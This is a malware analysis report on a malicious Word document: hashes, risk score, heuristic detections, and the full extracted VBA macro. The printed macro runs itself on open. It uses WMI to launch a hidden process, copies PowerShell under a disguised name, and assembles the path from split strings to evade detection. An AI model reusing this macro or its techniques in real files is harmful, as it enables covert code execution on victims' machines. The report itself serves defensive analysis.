Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6b18fd386c444fd8…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-03-22 18:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: c2f0d8f7346ca629f2ba6baf063fd079 SHA-1: 97cb3db01854c20cc678ea30d39bb66b0a4930bd SHA-256: 6b18fd386c444fd8a59d353d2b5b86916523b2ff77e144a0d6e1100d36f72684
118 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
           Set Locator = CreateObject("WbemScripting.SWbemLocator")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        temppath = Environ("tmp") + "\zubizuru.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1292 bytes
SHA-256: 7c1e4c81290f37e463ff1075ad8838701544193bf01326a4e3cf464e64a4d31c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
       Set Locator = CreateObject("WbemScripting.SWbemLocator")
    Set Service = Locator.ConnectServer()
    Service.Security_.ImpersonationLevel = 3
    Set ObjStartup = Service.Get("Win32_ProcessStartup")
    Set objConfig = ObjStartup.SpawnInstance_
    objConfig.ShowWindow = 0
    Set Process = Service.Get("Win32_Pr" + "ocess")
    temppath = Environ("tmp") + "\zubizuru.exe"
    RunPath = temppath + " -execu bYp -WiNd HiddeN -c $profile = $env:temp+'\zurubatesting'; New-Item -Path $profile -ItemType 'file' -Force"
    Dim pshellPath
    a = "pow"
    b = "ershe"
    c = "ll.exe"
    d = a + b + c
    E = "Wind"
    f = "owsPow"
    g = "erShell"
    h = E + f + g + h
    pshellPath = "C:\\Windows\\System32\\" + h + "\\v1.0\\" + d
    Dim fso: Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CopyFile pshellPath, temppath
    errReturn = Process.Create(RunPath, Null, objConfig, ProcessID)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 5d8b814086d7e42a98b1eeaff88f9c949c5f2357f29de4ba73a1179614fe384b